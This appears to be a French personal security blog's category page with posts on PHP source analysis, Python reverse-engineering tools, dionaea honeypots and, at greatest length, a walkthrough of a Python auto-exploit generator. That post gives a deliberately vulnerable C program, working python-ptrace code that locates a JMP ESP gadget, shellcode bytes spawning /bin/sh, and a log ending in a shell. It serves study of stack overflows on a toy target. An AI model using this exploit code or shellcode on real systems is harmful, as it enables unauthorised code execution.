Blog perso d'Ozwald - Sécurité category
Logo Blog perso d'Ozwald

Man(i)on(s) des sources

Par Oz le - Sécurité
PHP Vulnérabilité code source

Depuis quelques années le fuzzing a beaucoup fait parlé de lui, et il m'est d'ailleurs déjà arrivé de jouer un petit peu avec et d'y faire allusion sur ce blog. En revanche ce qui, d'après ce que je perçois, est complètement passé de mode c'est l'analyse de code source. Trouvant ça bien dommage je me suis penché sur ce qui existait pour analyser du code PHP...

Sleepy Pixy - Creative Common by "Alkan de Beaumont Chaglar" on Flickr

D'abord soyons clair : ce que je cherche à identifier à partir de code source PHP ce sont exclusivement des failles de sécurité. En aucun cas je ne vais m'attacher à trouver de potentiels bugs (utilisation de variables non déclarées, ...) ou problèmes de performances ($variable++ à la place de ++$variable, ...). En résumé je recherche donc des LFI, des XSS, et des SQLi :)

J'ai ainsi farfouillé un petit peu le net à la recherche d'outils d'analyse de code source PHP qui répondrait à mes attentes et ce qui m'a semblé être la seule solution (Open Source) viable c'est pixy. Pixy est un petit soft codé en Java qui tente d'identifier des XSS et des SQLi grâce à une recherche par teinte1 à partir de code source PHP.

Quelques téléchargements sur sourceforge et exploit-db plus loin en guise de tests j'identifie plusieurs points marquants de pixy :

  • Il y a peu de faux positif. Quand pixy repère quelque chose, c'est généralement vrai :)
  • pixy ne sait pas repérer les points d'entrées dans un projet PHP, on doit manuellement lui spécifier un à un les fichiers PHP à étudier (il se débrouille en revanche correctement avec les includes :)). Personnellement ça s'est fini avec un find -name *.php -exec ... ;-)
  • pixy n'est pas du tout compatible PHP5...et c'est bien dommage parce que l'écrasante majorité des softs PHP que l'on trouve de nos jours sont en PHP5
  • plus dommage encore : pixy n'est plus mis à jour depuis 2007 et il n'est pas prévu qu'il supporte PHP5 un jour...
  • pixy plante parfois souvent (mais c'est généralement à cause de fichiers en PHP5 :( )

Du coup j'ai poursuivi ma recherche et je suis tombé sur ce papier très sympa (et récent qui plus est) ! En gros il s'agit d'une étude de sécurisation des applis PHP de façon automatisé par analyse de code (bref : pile le sujet de ce billet) et les conclusions2 en sont qu'il faut soit utiliser des applis propriétaires aux algorithme obscurs, soit utiliser pixy bien qu'il soit vieux/bancale et pas vraiment utilisable de façon sérieuse, soit se tourner vers l'avenir en espérant que quelqu'un fasse quelque chose basé par exemple sur PHC.

Qu'est-ce-que PHC pensez vous en ce moment ? C'est un compilateur de PHP. :) ...Si vous ne voyez pas le rapport avec la choucroute (après tout, transformer du PHP en exécutable et rechercher des vulns dans du code source PHP ce sont deux choses bien différentes) vous y verrez peut-être plus clair quand vous saurez que PHC est capable de transformer du code PHP en 3 autres types de représentations intermédiaires (AST, HIC et MIC) et qu'il peut sortir le code transformé (en AST, MIC, ou HIC) au format "texte" ou au format XML. Donc en utilisant PHC vous avez un outil capable de transformer un code source PHP en une représentation de langage plus abstraite, au format texte ou XML, que vous pouvez alors traiter beaucoup plus facilement dans le but d'y faire une recherche par teinte :) Bon, bien sur, ce n'est donc pas une solution "clef en main" d'analyse de sécurité d'applis PHP à partir des sources (puisqu'il faut en fait re-coder toute la recherche par teinte), mais c'est tout de même une base solide qui pourrait permettre d'élaborer un petit moteur d'analyse assez rapidement.

L'un d'entre vous se sent inspiré... ;) ? Bon bah en attendant je continuerai d'utiliser pixy ^_^


Gorgonite le 2011/01/20 19:53

quel genre d'appli souhaiterais-tu ?
parce que la compilation et les analyses statiques peuvent être prototypées super vite dans certains langages (OCaml ?), voir via des automates d'arbres avec les bonnes libs dans des langages plus classiques :D

Ozwald le 2011/01/24 11:03

Aaaah, du OCaml.... Que de nostalgie... ;-)

Concernant le type de soft que je cherchais (et que, d'ailleurs, j'ai tenté sans grand succès de prototyper en une soirée vite fait depuis l'écriture de ce post) c'est simplement un soft capable d'évaluer la teinte des données consommées par certaines fonctions sensibles. Le fonctionnement interne importe peu.

Si tu te sens motivé pour écrire un proto en tout cas je le béta-testerai avec plaisir :-D Mais attention : c'est plus tordu qu'il n'y parait de prime abord (exemple de complication toute bête : il faut gérer plusieurs natures de teinte puisque les traitements "d'épuration" efficaces contre les XSS ne le sont pas forcément contre les SQLi, et vice versa :))

  1. Un peu comme ce que font d'autres personnes avec valgrind pur du code compilé.
  2. Conclusions TRES résumés par mes soins, je vous invite à lire le sujet original pour en avoir une vision plus complète

Dans l'estomac du python

Par Oz le - Sécurité
Outil Reverse Engineering python

Après un long silence sur ce blog (mais une longue période d'intense activité IRL) il est temps de résumer certains trucs qui m'ont occupé niveau informatique ces derniers temps :) ! Comme le titre le laisse présumer ça parle pas mal de python mais ne vous enfuyez pas pour autant si vous ne maitrisez pas ce langage de script sur le bout des doigts : je vais esquiver les détails gorets du code cette fois et me contenter de donner un aperçu ''high-level'' des possibilités qui sont offertes.

Cave - Based on a work published under Creative Common by "Kevin Lawver" on Flickr

J'en avais déjà parlé dans mon précédent billet mais j'insiste lourdement : pefile est une excellente extension python. Pour vous résumer certaines des fonctions qui me plaisent le plus :

  • ouverture, modification, puis sauvegarde du fichier PE modifié (il parait qu'il ne faut pas ''trop'' modifier la structure PE pour que ça marche, qu'à celà ne tienne il suffit de modifier "sur place" !)
  • accès ultra simple à toute la table d'importation du fichier PE (et donc éventuellement modification de cette dernière si on en a envie ;-))
  • accès ultra simple au contenu des diverses sections du PE et à leurs propriétés (donc éventuellement modification du contenu ou des propriétés...par exemple on peut rendre des sections "exécutable" ou "writable", je dis ça totalement au hasard... )
  • accès ultra simple à l'arbre des ressources du fichier PE (et donc éventuellement modification de ces ressources si le coeur vous en dit...)
  • cross platform !!! Ca c'est un vrai bonheur, les scripts qui utilisent ''pefile'' tournent sans modification sur linux ou windows.

Une autre extension super cool que j'ai découvert en jouant avec pefile : pydasm. C'est un binding python vers la librairie libdasm qui, comme son nom l'indique, permet de faire du désassemblage. Pour la petite histoire pydasm est livré avec pydbg dont je ne parlerai pas dans ce billet-ci mais que je vous conseille vivement de regarder si vous avez envie de jouer sous windows. Si on combine donc pefile avec libdasm on est en possession d'un vrai couteau suisse pour désosser et comprendre comment tourne un fichier PE donné.

Si vous avez tout suivi vous devez vous douter de ce que fait la prochaine extension dont je vais parler...On a du désossage et modification de fichier PE, on a du désassemblage de langage machine, il ne manque donc plus que....de l'assemblage :-D ! Et c'est là que vous allez (peut-être) être surpris : je ne vais pas parler de python dans ce paragraphe. Il y a bien des librairies d'assemblages pour python mais je n'ai, pour l'instant, été convaincu par aucune d'entre elles. En revanche j'ai été tout à fait convaincu par fasm qui cumule deux avantages non négligeables :

  • Il est open source
  • Il tourne aussi bien sous linux que windows Donc tant pis pour le 100% python, je me suis laissé tenté par la simplicité absolue d'écrire un fichier temporaire1 à partir de mon code python puis d'enchainer avec un petit
if re.match('win.*',sys.platform):
        system('FASM.EXE tmp.asm tmp.bin')
else:
        system('./fasm tmp.asm tmp.bin >> /dev/null')
assembly=open('tmp.bin','rb').read()

Bref, on a du désassemblage, on a de l'assemblage, on a de la manipulation de fichiers PE...je vous laisse imaginer tout seul ce qu'on peut faire avec ça parce que de mon coté je manque de "motif légitime" pour publier sur ce blog ce que j'en ai fait jusqu'à présent2

Enfin, le dernier bout de code python qui m'a occupé ces derniers temps c'est sulley. Pour ceux qui ne connaissent pas c'est un framework de fuzzing3 qui permet de fuzzer des services accessibles par TCP ou UDP4. J'ai un petit peu joué avec et ça tourne pas mal; on peut très facilement avoir un script sulley qui tourne sur une VM windows afin de monitorer le processus cible alors que les autres processus sulley tournent sur une autre machine (au hasard une linux) et se chargent d'offrir une belle interface web de suivi de la campagne de fuzzing, de générer les requêtes réseau à destination du process à fuzzer, etc. Seule petite astuce à vous communiquer si vous voulez y jeter un oeil : si jamais vous galérez à installer pcapy ne vous prenez pas la tête plus de 2mn et allez plutôt directement faire de la boucherie dans network_monitor.py pour vous débarasser des appels à pcapy; en 10mn vous les aurez tous remplacés par l'équivalent en scapy ou carrément par des os.system("tcpdump blabla")5.

Voilà, la prochaine étape sera peut-être de faire un binding amusant entre sulley et d'autres scripts python qui trainent dans mes cartons en les adaptants en pydbg...ou bien ça sera tout autre chose, allez savoir :) ! D'ici là : geekez bien ;)

  1. Pour info, si vous voulez faire propre, vous pouvez utiliser os.tempnam ou os.tmpfile à la place de toujours réutiliser tmp.bin.
  2. En revanche je ne manquais pas de motif légitime pour en faire profiter mes collègues pentesteurs, c'est déjà ça. D'ailleurs l'un d'entre eux m'a fait remarquer qu'un certain "Nick Harbour" avait fait des choses similaires en 2008, si ça vous intéresse d'aller jeter un oeil ... ;-)
  3. Moins complet que Peach mais infiniment plus simple à prendre en main, ce qui explique à 100% pourquoi je l'ai préféré à Peach :)
  4. Pas de fuzzing de fichier donc, ni de ligne de commande, ou autre.
  5. c'est quand même très moche de faire ça à coup de os.system('tcpdump blabla') puis os.system("killall tcpdump"), préférez scappy qui sera bien plus précis et moins lourd (faites ce que je dis, ne faites pas ce que je fais ^^)

Saine émulation

Par Oz le - Sécurité
Hack Linux exploit python

J'ai récemment assisté à mon premier SSTIC1 et lors de l'une ou de l'autre des conférences l'outil Metasm a attiré mon attention. Deux jours après être rentré du SSTIC je tombe sur un alléchant article d'un gars de SOGETI qui parle justement de Metasm. Je dévore l'article en question2 (qui consiste, en gros, à écrire un script de génération automatique d'exploit pour stack overflow en partant d'une appli vulnérable...miam) et une fois l'article fini une question s'impose à moi : Tout leur (joli) travail est en ruby3 ...saurais-je les copier en python ?!

Truck race - Creative Common by tonylanciabeta on Flickr

Tout d'abord résumons le principe du script que l'on souhaite réaliser. En une phrase ce script doit prendre en argument un programme vulnérable à un stack overflow, forger tout seul un payload capable d'exploiter cette vulnérabilité (pour spawner un shell par exemple), puis tenter l'exploitation en boucle jusqu'à ce qu'elle réussisse. Ca c'est la version simple, dans les détails c'est infiniment plus riche et passionant. Mais avant de passer aux détails, voici le programme test pour lequel nous allons tenter de forger automatiquement un exploit4 :

#include <stdio.h>
#include <string.h>

// gcc main.c -mpreferred-stack-boundary=2 -o main

int main(int argc, char * argv[])
{
        char buff[128];

        if(argc<2)
                return 0xffe4;

        strcpy(buff, argv[1]);

        return 0;
}

Bien, on voit rapidement où se situe le stack overflow que l'on souhaite exploiter et comment l'exploiter (pour les plus mauvais en C d'entre vous : il suffit d'envoyer un gros argument en ligne de commande et, s'il est trop gros, il dépassera de la pile lorsqu'il sera copié dans buff par strcpy :) ). Il est maintenant temps de songer sérieusement à la façon dont on va forger l'exploit à passer à ce petit programme !

Premier problème qui se pose à nous : quelle taille est disponible sur la pile avant d'écraser la valeur sauvegardée d'EIP ? En regardant le code source rapidement on se doute que ça ne doit pas être bien loin de 128 octets, mais on va faire semblant de ne pas savoir et on va coder notre script pour qu'il trouve tout seul la taille disponible (après tout le but du jeu c'est aussi de faire un script qui pourrait aider à générer des exploit pour de vrais programme vulnérables à ce type d'attaques). Pour comprendre la méthode proposée dans l'article d'Ivan je vais faire un petit rappel technique5 :

<Rappel>

Les appels de fonctions se terminent toujours par l'enchainement d'instructions assembleurs "LEAVE" puis "RET". Dans notre cas on obtient d'ailleurs ça dans gdb :

$gdb main
(gdb)disass main
[...]
0x08048426 <main+66>:   leave  
0x08048427 <main+67>:   ret
End of assembler dump.

L'instruction LEAVE fait deux choses : elle écrase ESP avec la valeur actuelle d'EBP, puis elle POP la pile et écrase la valeur d'EBP avec l'adresse qu'elle vient de poper (la valeur d'EBP qui avait été sauvegardée avant de rentrer dans la fonction donc). L'instruction RET, quand à elle, POP la pile et écrase la valeur d'EIP avec l'adresse qu'elle vient de poper (la valeur d'EIP qui avait été sauvegardée avant de rentrer dans la fonction donc). En résumé : LEAVE recadre la pile comme elle était dans la fonction appelante, et RET restaure le pointeur d'EIP pour la fonction appelante. Si vous avez suivi vous avez noté que, sur la pile, la sauvegarde d'EBP est juste avant la sauvegarde d'EIP, et c'est ça qui est important. Déterminer quand on va écraser la sauvegarde d'EIP est donc équivalent à déterminer quand on va écraser la sauvegarde d'EBP, à un POP près :)

</Rappel>

Revenons donc à notre script et à sa première tache qui consiste à déterminer quelle taille précise nous avons sur la pile avant d'écraser la valeur sauvegardée d'EIP. Si j'ai tout suivi à l'article que je vous ai cité 6 le script va en fait repérer quand on écrase la valeur sauvegardée d'EBP, puis en déduire qu'un POP au delà on écraserait la valeur sauvegardée d'EIP. Si c'est ce fonctionnement là qui est choisi c'est pour une excellente raison : c'est une méthode simple ! En effet la façon la plus simple d'observer la valeur des registres c'est d'utiliser un breakpoint sur une instruction, or la dernière instruction dont nous disposons aisément c'est le RET du main mais si on break sur cette instruction (juste avant qu'elle ne s'exécute donc) le pointeur d'instruction (EIP) n'est pas encore restauré à sa valeur sauvegardée (puisque c'est justement la tâche de ce RET) alors que le pointeur de base de la pile (EBP), lui, a déjà été restauré (puisque c'était la tâche du LEAVE qui était juste avant) ! Donc il suffit de faire un break sur le RET puis d'observer directement la valeur d'EBP pour savoir que, 4 octets plus loin (à un POP près), on écrasait la valeur sauvegardée d'EIP. C'est la seule méthode envisageable de toute façon puisque si on souhaitait breaker après le RET pour observer directement la valeur d'EIP on devrait breaker sur l'instruction à exécuter juste après le RET, donc sur l'instruction présente à l'adresse que nous avons restaurée sur l'EIP or cette adresse va être écrasée par notre argument et donc il nous faudrai breaker n'importe où dans la mémoire ce qui est impossible sous peine de segfault...

En terme de script celà revient donc à ouvrir l'exécutable en mode debug, trouver le RET de la fonction main, mettre un break point dessus, puis lancer plusieurs fois l'exécution en fournisant à chaque fois un argument plus grand tant que la valeur d'EBP observée au moment du break ne provient pas de notre argument. Une fois qu'on a trouvé un argument assez grand pour aller écraser la valeur d'EBP sauvegardée on a résolu notre premier problème qui consistait à savoir précisément combien de place était disponible sur la pile :) !

Allons-y par petites étapes : D'abord on doit "ouvrir l'exécutable en mode debug"...sauf qu'en python on n'a pas accès à Metasm. Diantre nous voilà bien ennuyé ! Pas grave, on n'a peut-être pas Metasm, mais on a des idées (et surtout on a python-ptrace7, dont vous allez avoir besoin et que vous pouvez obtenir via un simple emerge python-ptrace si vous avez le bon gout d'être sous gentoo). Grace à "python-ptrace" nous allons avoir accès à toutes les fonctions de debug dont nous avons besoin pour jouer sous linux ! Utilisons donc python-ptrace pour "ouvrir l'exécutable en mode debug" :

#!/usr/bin/env python
from ptrace.debugger.debugger import PtraceDebugger
from ptrace.debugger.child import createChild

def load_dbg(prog,arg):
    # ---------------------------------------------------------
    #   Getting things ready
    # ---------------------------------------------------------

    #Create the process we want to debug
    pid = createChild([prog,arg],False,None)

    print '[*] Loading process "'+str(prog)+'" in memory with an arg of size',len(arg)

    # Create the debugger and attach the process
    dbg = PtraceDebugger()
    process = dbg.addProcess(pid, True)

    return (dbg,process)

Il n'y a rien de particulier à comprendre ici, si le sens précis de ces ligne vous intéresse je vous conseille de lire la doc de python-ptrace et les exemples fournis avec qui sont très bien foutus (et dont ces quelques lignes sont très grandement inspirées :) ).

Nous devons ensuite "trouver le RET de la fonction main, mettre un break point dessus, puis lancer plusieurs fois l'exécution tant que la valeur d'EBP observée au moment du break ne provient pas de notre argument". Encore une fois nous sommes ennuyés parce que nous n'avons pas Metasm, et cette fois je dois avouer que je n'ai pas trouvé de méthode propre pour trouver directement le RET de la fonction main. Ma première idée a été d'obtenir le mapping des plages mémoires allouées à notre processus, puis de désassembler entièrement les plages exécutables et de mettre des breakpoint sur tous les RET que j'y trouverai. Malheureusement cette méthode faisait segfaulter systématiquement...je suppose que les désassemblages barbares de toute une plage de mémoire n'était pas très corrects et qu'en plaçant mes breakpoint il m'arrivait en fait de tomber au milieu d'instruction n'étant pas des RET, ce qui amenait aux segfaults... Bref cette solution n'était pas viable et j'ai donc opté pour une méthode "Quick & Dirty" : j'exécute l'intégralité du programme en pas à pas, et j'analyse l'EBP à chaque étape :) Alors oui, c'est extrèmement lent et absolument sans aucune subtilité, mais au moins ça marche (et en plus ça permet de traiter indifféremment des buffer overflow se produisant n'importe où dans le code, et plus seulement dans la fonction main :) ). Donc, voyons ce que ça donne en script python+python-ptrace (là vous pouvez lire plus attentivement le code, ça devient intéressant de voir à quel point python-ptrace se manie bien :) ) :

def get_stacksize(prog, arg):
    # ---------------------------------------------------------
    #   Figuring out what stack size we have
    # ---------------------------------------------------------

    stack_crashed=False
    while not stack_crashed:
        # Enlarge our argument ;-)
        arg=arg+arg[-1:]

        # Getting things ready for debugging
        dbg,process = load_dbg(prog,arg)

        # Start the process, step by step (this is VERY slow)
        while process.running and not stack_crashed:    
            # We check (the dirty way) the EBP value in order to detect the overflow
            if long('0x'+4*(hex(ord(arg[-1:]))[-2:]),16) == process.getreg('ebp'):
                stack_crashed=True
                print '[*] Overflow probably detected for an arg of size',len(arg),'\t\t EBP value : ',hex(process.getreg('ebp'))
            # Make one step
            process.singleStep()
            s=process.waitEvent()
        #now we leave properly
        dbg.quit()
    return len(arg)

A part l'ignoble ligne où je compare la valeur d'EBP avec les 4 derniers charactères de notre argument convertis en hexa puis en entier, le code est quand même relativement simple non ? On n'a donc pas Metasm, mais on s'en sort à peu près !

A ce point nous savons donc ouvrir notre programme en mode debug et nous savons également obtenir la taille d'argument qui va aller écraser l'EIP sauvegardée sur la pile. Il va falloir nous pencher sur la structure de notre exploit à présent. Dans un monde merveilleux notre exploit n'aurait qu'à écrire n'importequoi sur la pile jusqu'à la valeur sauvegardée d'EIP, écrire à cet endroit l'adresse correspondant à "juste après cet endroit même", puis enchainer directement avec notre shellcode :

garbage | Adresse où va se retrouver en mémoire l'octet qui arrive juste après => | shellcode

De cette façon l'exécution sauterait bien dans notre shellcode après l'éxécution du RET. Malheureusement pour nous les noyaux linux intègrent, depuis la version 2.6.17 et jusqu'à la 2.6.30, un placement aléatoire de la stack dans la mémoire8. A cause de ce placement aléatoire de la stack il nous est impossible de déterminer à l'avance à quelle adresse se situera notre shellcode en mémoire lorsque nous le pousserons sur la pile et nous ne pouvons donc pas créer notre exploit comme nous le voulions puisque nous ne savons tout simplement pas quoi mettre pour écraser la valeur sauvegardée d'EIP :( Pas grave, une astuce ultra connue existe et tire parti du fait que la pile est placée aléatoirement en mémoire mais pas le code du programme qui, lui, est toujours à la même place. Le but du jeu est donc de trouver, dans le code du programme, une instruction qui nous arrange puisque, elle, sera toujours au même endroit. L'instruction que nous allons chercher c'est tout simplement un "JMP ESP". En effet si nous parvenons à trouver un "JMP ESP" dans le code du programme et à écrire son adresse dans l'EIP sauvegardée, le flux d'exécution va bien se retrouver détourné vers lui à l'exécution du RET, puis immédiatement après vers notre shellcode qui se trouve justement sur la pile (i.e. : à l'adresse contenue dans ESP). Simple, ultra connu, mais terriblement efficace9 :) Cette méthode nous permet même de conserver la structure d'exploit que nous voulions à un mini détail prêt :

garbage | Adresse d'une instruction JMP ESP quelque part dans les parties fixes de la mémoire du programme | shellcode

Par contre tout ça c'est bien joli, mais maintenant il faut trouver un "JMP ESP" dans les parties de la mémoire qui seront toujours au même endroit et qui sont exécutables (donc typiquement dans le corps du programme). Cette partie là est enfantine avec python-ptrace, et très instinctive : on obtient les plages de mémoires appartenant au programme, pour chacune d'elle on vérifie si elle est exécutable et si tel est le cas on la parcours octet par octet à la recherche de quelque chose qui pourrait être interpretté comme un JMP ESP. Vous pouvez lire le code attentivement,vous verrez que les appels à python-ptrace sont limpides10 :

import re
from sys import exit

def get_jmpesp(prog,arg):   
    # ---------------------------------------------------------
    #   Finding a JMP ESP
    # ---------------------------------------------------------
    dbg,process = load_dbg(prog,arg)
    jmpespaddr=None

    # We get the memory mapping
    maps = process.readMappings()
    for m in maps:
        if re.match('..x.',m.permissions) and jmpespaddr==None:
            print'[*] Searching for a JMP ESP in',hex(m.start),'=>',hex(m.end)
            for cur in range(m.start,m.end):
                code=process.disassembleOne(cur)
                if code.mnemonic=='JMP' and code.operands=='ESP':
                    jmpespaddr=code.address
                    print '[*] JMP ESP found at address',hex(code.address)
    if jmpespaddr==None:
        print '[*] No JMP ESP was found...damned we are doomed !'
        exit(-1)
    dbg.quit()
    return jmpespaddr

Comme vous l'avez constaté je n'utilise pas "disassemble" pour tout désassembler d'un coup, mais "disassembleOne" avec un décalage d'un octet à chaque fois. De cette façon je n'ai pas besoin qu'un JMP ESP existe vraiment dans le code, il me suffit que quelquechose puisse être interpretté comme tel. Typiquement si une constante dans le code avait, par le plus grand des hasard, la même représentation binaire que le code machine JMP ESP, je la trouverai avec disassembleOne et je pourrai l'utiliser en tant que JMP ESP. Ça tombe bien, souvenez vous des sources de notre programme cible : dans le cas où on invoque notre programme de test sans argument il retourne le code d'erreur 0xffe4...devinez à quel code machine ça correspond ;) ? C'est un JMP ESP ! Alors oui c'est une petite bidouille, mais c'est pour le bien de la démonstration et il est à parier que dans des programmes de plus de 10 lignes nous n'aurions pas à insérer artificiellement ce JMP ESP. De toute ce sont les gars de SOGETI eux même qui sont à l'origine de cette bidouille, donc ça colle dans mon envie de copier au plus près leur joli travail :-p

Alors, où en sommes nous ? Nous savons ouvrir le programme en mode débug, nous savons déterminer la taille disponible sur la stack avant d'écraser l'EIP, et nous savons trouver l'adresse d'un JMP ESP pour écraser l'EIP avec. Nous touchons au but :) ! Il ne nous reste plus qu'à trouver un shellcode à proprement parler, à assembler tout ça, et à tester :)

Pour le shellcode je vais grandement m'éloigner de mes inspirateurs puisqu'eux utilisent Metasm pour le compiler à la volée à partir d'assembleur mais moi, puisque je n'ai "que" python-ptrace et pas Metasm, je vais aller au plus court et réutiliser un shellcode public qui spawn /bin/sh.

Pour l'assemblage c'est de la concaténation de chaine...rien de bien sorcier :

def create_shellcode(stack_size, jmpespaddr):
    print '[*] Generating exploit for a stack size of',stack_size, 'and a JMP ESP address of', hex(jmpespaddr)
    # Initial garbage
    exploit='a'*stack_size

    # JMP ESP address to overwrite the saved EIP value on the stack
    low_bit=jmpespaddr%pow(2,8)
    exploit+=chr(low_bit)
    jmpespaddr-=low_bit
    jmpespaddr/=pow(2,8)

    low_bit=jmpespaddr%pow(2,8)
    exploit+=chr(low_bit)
    jmpespaddr-=low_bit
    jmpespaddr/=pow(2,8)

    low_bit=jmpespaddr%pow(2,8)
    exploit+=chr(low_bit)
    jmpespaddr-=low_bit
    jmpespaddr/=pow(2,8)

    low_bit=jmpespaddr%pow(2,8)
    exploit+=chr(low_bit)

    # Shellcode spawning /bin/sh
    raw_sh=("0x6a","0x0b","0x58","0x99","0x52","0x66","0x68","0x2d","0x70","0x89","0xe1","0x52","0x6a","0x68","0x68","0x2f","0x62","0x61","0x73","0x68","0x2f","0x62","0x69","0x6e","0x89","0xe3","0x52","0x51","0x53","0x31","0xc9","0xcd","0x80")
    for op in raw_sh:
        exploit+=chr(int(op,16))

    return exploit

Oui, c'est super moche comme code python, mais il commence à se faire tard et j'ai envie de voir si ma copie de script fonctionne :) ! Plus qu'à lancer notre programme victime et voir si on obtient bien un shell, ça va se faire en rajoutant ces ultimes lignes à mon script python contenant toutes les fonctions que nous avons définies jusqu'à présent :

from os import system

JMP = get_jmpesp('./main','a')
STACK_SIZE = get_stacksize('./main','a')
SH = create_shellcode(STACK_SIZE, JMP)

print '[*] Exploiting...'
while 0!=system("./main "+SH):
    pass

Et on lance enfin le script-copie en python...suspens :

$./pyautopwn.py
[*] Loading process "./main" in memory with an arg of size 1
[*] Searching for a JMP ESP in 0x8048000 => 0x8049000
[*] JMP ESP found at address 0x80483f8L
[*] Loading process "./main" in memory with an arg of size 2
[*] Loading process "./main" in memory with an arg of size 3
(...)
[*] Loading process "./main" in memory with an arg of size 131
[*] Loading process "./main" in memory with an arg of size 132
[*] Overflow probably detected for an arg of size 132    EBP value :  0x61616161L
[*] Generating exploit for a stack size of 132 and a JMP ESP address of 0x80483f8L
[*] Exploiting...
oz@osiris /home/oz/autopwn $ whoami
oz
oz@osiris /home/oz/autopwn $

Victoire de canard ! Comme quoi il était possible de copier ce script en pure python, même s'il est bien moins beau et bien moins puissant. C'est encore une petite satisfaction personnelle de voir que j'ai pas mal progressé en technique depuis ces dernières années. Les améliorations possible pour ce script sont d'ailleurs nombreuses :

  • Passer le nom du programme et ses arguments initiaux en ligne de commande. Tout est déjà dans le code pour ça et pour supporter l'envoi d'arguments réels avant l'argument à faire grossir, il n'y a qu'une poignée de modification mineures à apporter.
  • N'exécuter qu'une fois le programme en pas à pas et noter à cette occasion où se situent les vrais RET. Pour les exécutions suivantes on ne breakerait qu'aux adresses de ces RET et non plus à chaque pas. Ca pourrait drastiquement accélérer le processus !
  • Nettoyer un peu (je pense en particulier à la comparaison d'EBP avec la valeur hexa de mon argument ainsi qu'à la création de l'exploit par concaténation...)
  • Je laisse votre imagination travailler !!!

sylv1daltair le 2010/07/08 21:29

Et les comparaisons de perf entre ruby et python???
Pour troller un peu ;-)

  1. et il est clair que je reviendrai au SSTIC l'an prochain si j'ai le temps, l'argent, et assez de reflexes pour attraper une place avant la rupture de stock.
  2. Il a d'ailleurs été suivi d'un autre sur le même thème. Comme quoi je ne suis pas le seul à avoir été inspiré :)
  3. Metasm aussi est en ruby d'ailleurs
  4. Dans le souci de coller au plus près au travail de Ivan j'ai utilisé très exactement le même programme...à la différence près que moi j'ai bien des '#' devant mes include, et pas des '$', et que je retourne 0xffe4 à la place de 0 en cas d'absence d'argument...on verra pourquoi plus tard ;)
  5. Sans ce rappel moi je n'avais pas compris, je vous épargne donc juste le googlage.
  6. ce qui n'est pas certain :D
  7. D'ailleurs je vous recommande le blog de son auteur principal, même s'il n'est mis à jour que très rarement
  8. Après la 2.6.30 c'est un placement aléatoire complet de la mémoire, plus uniquement de la stack.
  9. Tout du moins jusqu'aux noyaux 2.6.30 exclus. Après ça ne marche plus puisque toutes les zones mémoire sont placées aléatoirement et non plus juste la pile. Il est alors impossible de deviner à l'avance l'adresse d'un JMP ESP, même contenu dans le code du programme.
  10. Si ça ça ne vous donne pas envie de jouer avec python-ptrace, voire d'y contribuer, je ne sais pas ce qu'il vous faut :-p !

Plantes carnivores

Par Oz le - Sécurité
Honeypot Malware Nepenthes dionaea virus

Figurez vous que je me suis récemment découvert un intérêt pour les plantes carnivores et que j'ai acheté un livre explicatif sur le sujet (environnement naturel, divers genres, méthodes de culture, etc.). Après avoir relu le bouquin trois fois j'ai finalement craqué et j'ai acheté quatre petits plants ainsi que quelques graines (pour une représentativité totale de trois genres différents de plantes carnivores usuelles1). Et c'est en me renseignant sur ce nouvel univers que je me suis remémoré le premier billet de ce blog, qui parlait du honeypot à faible intéraction Nepenthes et je me suis dit qu'il était temps que je me repenche sur ce logiciel qui m'avait bien amusé à l'époque...

Mes dionaea - Creative common by Ozwald from ozwald.fr

Premier choc : Nepenthes n'est plus. Aux alentours de l'été 2009 ses concepteurs commençait à apercevoir des limites à leur architecture, ils ont alors freezé Nepenthes et se sont lancés dans un nouveau projet de honeypot à faible interaction, en repartant ''from scratch'' : dionaea2. Le développement initial de dionaea a donc eu lieu pendant l'été 2009, et actuellement c'est une solution qui semble bien plus aboutie que ne l'était Nepenthes (gestion du multithread, émulation avancée des shellcode à la place de simple pattern matching, etc.). Par contre, même si le logiciel en lui-même est bien plus avancé, son packaging général ne tient pas (encore ?) la comparaison avec ce qu'était celui de Nepenthes à la fin de sa vie. En effet dionaea n'est, à ma connaissance, actuellement packagé pour aucune distro3 et pour tester dionaea vous devrez donc compiler vous-même une demi-douzaine de softs (sans vous planter au moment de les linker à dionaea bien sur). Ca n'a rien de titanesque ou même de compliqué, mais ça prend un peu de temps mine de rien.

En plus du coté technique c'est un projet qui a l'air vraiment sympa et vivant. Par exemple un petit billet d'un utilisateur sur les performances d'un script d'analyse des logs de dionaea a mené à une réflexion assez poussée sur la performance des accès aux logs directement sur le blog officiel du projet. Autre exemple : les auteurs de dionaea ont publié de grosses quantités de logs (anonymisés) issus de leurs propres sondes dionaea afin que chacun puisse mener les recherches qu'il souhaite dessus. Bref c'est un projet qui sent la bonne ambiance et j'espère bien en entendre un peu parler au SSTIC 20104. D'ailleurs tant qu'on parle de SSTIC je me dis que le vieux pense-bête que j'avais rédigé il y a quelques mois pourrait être utile ;) ...


meik le 2010/04/27 23:44

perso j'ai mis une nepenthes dans un terrarium (vu qu'elles ont des conditions assez spécifiques, comparé à mes autres styles de carnivores), et pas moyen de lui faire développer ses urnes. Les feuilles poussent sans problème, mais les urnes au bout restent de taille miniature...déception :)

Gagou le 2010/05/02 19:04

Pour faire mentir Ozwald ( ;) ), il est maintenant possible d'installer dionaea sur Arch depuis les dépôts AUR :
-> http://aur.archlinux.org/packages.p...
L'utilisation de l'outil yaourt (http://archlinux.fr/yaourt) est fortement recommandé pour installer des paquets depuis AUR sans prise de tête :)

Ozwald le 2010/05/03 10:07

Merci pour le boulot effectué Gagou !
Tu viens d'entériner le choix de la distrib que je vais installer sur mon nouveau serveur ^^

@meik : ça pourrait venir d'un substrat trop riche...enfin en tout cas c'est ce que j'ai lu quelque part sur internet ou dans un bouquin je crois :D

Guiniol le 2010/05/10 14:52

Tu laisserai tomber Gentoo??
Je suis shocké :)

  1. Pour les curieux : sarracenia, dionaea, et drosera.
  2. Le genre "dionaea" correspondant aussi à des plantes carnivores. Ce sont celles qu'on connait sous le nom familier "attrape-mouche", et pour les curieux elles sont beaucoup plus facile à cultiver que les Nepenthes ^_^
  3. Oubliez donc tout de suite les aptitude install dionaea, emerge dionaea, et autres pacman -S dionaea qui pourraient vous passer par la tête. ERRATA : Pour Arch la procédure est simplifiée, cf commentaires du post ;)
  4. Oui, oui, j'ai été assez rapide pour avoir une place :-D

Déplombage à l'ancienne

Par Oz le - Sécurité
Hack Reverse Engineering

